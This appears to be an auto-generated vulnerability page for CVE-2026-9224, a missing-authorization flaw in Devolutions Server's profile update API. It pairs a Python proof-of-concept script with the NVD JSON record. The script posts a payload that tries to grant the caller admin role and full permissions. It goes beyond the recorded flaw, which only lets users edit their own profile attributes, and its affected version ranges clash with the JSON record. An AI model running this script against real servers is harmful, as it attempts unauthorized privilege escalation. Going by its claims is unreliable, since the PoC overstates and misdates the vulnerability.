CVE-2026-9224

import requests import json # CVE-2026-9224 PoC - Authorization bypass in Devolutions Server profile update # Target: Devolutions Server < 2026.1.16.0 or < 2025.3.20.0 target_url = "https://target-server/api/user/profile" # Authentication headers with valid AD user credentials headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_AD_TOKEN>", "User-Agent": "Mozilla/5.0" } # Malicious payload - attempting to modify restricted profile attributes # This exploits the missing authorization check in profile update API payload = { "username": "attacker_user", "email": "[email protected]", # Attempt to modify admin or system-level attributes "role": "admin", "permissions": ["full_access"], "isAdmin": True } try: response = requests.post(target_url, headers=headers, json=payload, verify=False, timeout=10) if response.status_code == 200: result = response.json() print("[+] Request successful - Authorization bypass may be present") print(f"[+] Response: {json.dumps(result, indent=2)}") elif response.status_code == 403: print("[-] Access denied - Vulnerability may be patched") else: print(f"[*] Status code: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: Replace <VALID_AD_TOKEN> with actual authentication token # Note: This PoC is for educational and authorized testing purposes only

{"cve": {"id": "CVE-2026-9224", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.083", "lastModified": "2026-05-22T18:58:08.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization in the user profile update feature in Devolutions Server allows an authenticated Active Directory user to modify their own profile attributes via a crafted API request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}